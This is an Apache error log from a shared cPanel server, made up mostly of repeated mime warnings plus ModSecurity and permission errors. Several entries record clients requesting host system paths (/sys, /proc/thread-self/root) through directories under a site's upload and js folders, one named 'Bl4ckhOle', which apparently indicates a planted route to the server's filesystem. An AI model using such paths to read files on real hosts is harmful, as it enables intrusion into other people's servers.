[Fri Jul 17 10:24:02.549422 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:02.549445 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:02.549470 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:02.549494 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:02.549517 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:02.856965 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:03.217224 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:03.296221 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:03.503471 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:03.607737 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:03.829892 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:03.937122 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.043414 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.043521 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.043578 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.043619 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.043658 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.043734 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.043782 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.043827 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.043871 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.043915 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.043954 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.044015 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.044086 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.044129 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.044156 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.044182 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.044207 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.044230 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.044270 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.044299 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.044321 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.044353 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.044386 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.044411 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.044430 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.044451 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.044472 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.044493 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.279566 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.370787 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.370891 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.370935 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.370959 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.370980 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.370999 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.371020 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.371057 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.371082 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.371102 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.371120 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.371141 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.371159 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.371179 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.371198 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.371224 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.371247 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.371270 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.371293 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.371313 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.371335 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.371355 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.371391 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.371416 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.371445 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.371477 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.371497 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.371527 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.472645 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:04.941444 2026] [security2:error] [pid 2075693:tid 2075693] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm1bH5-BwPGxupoEJk0gwAAAA0"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1149&page_105=2209
[Fri Jul 17 10:24:04.941594 2026] [security2:error] [pid 2075693:tid 2075693] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm1bH5-BwPGxupoEJk0gwAAAA0"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1149&page_105=2209
[Fri Jul 17 10:24:05.062644 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:05.062732 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:05.062911 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:05.062951 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:05.062986 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:05.063007 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:05.063027 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:05.063059 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:05.063088 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:05.082717 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:05.130414 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:05.156904 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:05.199535 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:05.199604 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:05.199803 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:05.199838 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:05.199869 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:05.199886 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:05.199905 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:05.199922 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:05.199938 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:05.214487 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:05.294374 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:05.397472 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:05.503364 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:05.598441 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:05.704910 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:05.806448 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:05.806511 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:05.806704 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.009577 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.009654 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.009851 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.009891 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.009923 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.009943 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.009966 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.009986 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.010006 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.115043 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.154372 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.154478 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.154562 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.154594 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.154619 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.154685 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.154710 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.154732 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.154876 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.154902 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.154954 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.155053 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.155120 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.155147 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.155168 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.155188 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.155208 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.155247 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.155403 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.155443 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.155464 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.155519 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.155541 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.155562 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.155604 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.155659 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.155704 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.155725 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.155776 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.155801 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.155821 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.155845 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.155885 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:06.216866 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:07.034226 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:07.147359 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:07.555352 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:07.657190 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:07.764330 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:08.275236 2026] [security2:error] [pid 2075718:tid 2075718] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:66/subsystem/input5/capabilities/rel"] [unique_id "alm1cHHGgRvC9MVf3SzH4gAAAAI"]
[Fri Jul 17 10:24:08.275268 2026] [security2:error] [pid 2075718:tid 2075718] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:66/subsystem/input5/capabilities/rel"] [unique_id "alm1cHHGgRvC9MVf3SzH4gAAAAI"]
[Fri Jul 17 10:24:08.797239 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:09.618025 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:09.811788 2026] [ssl:error] [pid 2075691:tid 2075691] (70014)End of file found: [client 66.85.158.91:35136] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:24:10.036810 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:10.646266 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:10.966429 2026] [core:error] [pid 2076257:tid 2076257] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:18/subsystem/ttyS1/flags
[Fri Jul 17 10:24:11.170361 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:11.277820 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:11.606455 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:11.710562 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:13.047828 2026] [core:error] [pid 2075690:tid 2075690] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:27/subsystem/ttyS3/flags
[Fri Jul 17 10:24:13.660803 2026] [security2:error] [pid 2075692:tid 2075692] [client 74.7.242.15:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-global": Permission denied [hostname "ksoft.web.lk"] [uri "/tfab/tfab0809/vendor/guzzlehttp/psr7/src/HttpFactory.php"] [unique_id "alm1dfTLXGCuVk4hiAO-TAAAAAs"], referer: https://ksoft.web.lk/tfab/tfab0809/vendor/guzzlehttp/psr7/src/
[Fri Jul 17 10:24:13.660839 2026] [security2:error] [pid 2075692:tid 2075692] [client 74.7.242.15:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-ip": Permission denied [hostname "ksoft.web.lk"] [uri "/tfab/tfab0809/vendor/guzzlehttp/psr7/src/HttpFactory.php"] [unique_id "alm1dfTLXGCuVk4hiAO-TAAAAAs"], referer: https://ksoft.web.lk/tfab/tfab0809/vendor/guzzlehttp/psr7/src/
[Fri Jul 17 10:24:14.117411 2026] [ssl:error] [pid 2076193:tid 2076193] (70014)End of file found: [client 66.85.158.91:57790] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:24:14.797201 2026] [security2:error] [pid 2075901:tid 2075901] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu3/driver/cpu0/node0/numastat"] [unique_id "alm1dmFDQ6dUmh6WfoaEcwAAAAc"]
[Fri Jul 17 10:24:14.797235 2026] [security2:error] [pid 2075901:tid 2075901] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu3/driver/cpu0/node0/numastat"] [unique_id "alm1dmFDQ6dUmh6WfoaEcwAAAAc"]
[Fri Jul 17 10:24:14.906625 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:16.066568 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:17.810002 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:18.011351 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:18.958476 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:19.207213 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:19.256809 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:19.367294 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:19.874010 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:20.381887 2026] [security2:error] [pid 2076258:tid 2076258] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:32/subsystem/input4/event2/device/phys"] [unique_id "alm1fFwhXK3LBDRkoRBUMgAAABY"]
[Fri Jul 17 10:24:20.381932 2026] [security2:error] [pid 2076258:tid 2076258] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:32/subsystem/input4/event2/device/phys"] [unique_id "alm1fFwhXK3LBDRkoRBUMgAAABY"]
[Fri Jul 17 10:24:20.482912 2026] [core:error] [pid 2076193:tid 2076193] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:51/subsystem/ttyS3/flags
[Fri Jul 17 10:24:20.790136 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:20.895359 2026] [core:error] [pid 2075904:tid 2075904] (13)Permission denied: [client 57.141.18.50:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory107/node0/memory113/subsystem/devices/memory32/subsystem/drivers_probe
[Fri Jul 17 10:24:20.991083 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:21.960340 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:21.966184 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:21.967796 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:21.967867 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:22.754060 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:23.299530 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:23.610995 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:24.016140 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:24.125925 2026] [core:error] [pid 2076193:tid 2076193] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:58/subsystem/ttyS2/line
[Fri Jul 17 10:24:24.279409 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:24.330213 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:24.424302 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:24.424375 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:24.467401 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:24.631978 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:24.632056 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:24.632150 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:24.739701 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:24.844950 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:25.059570 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:25.160566 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:25.365142 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
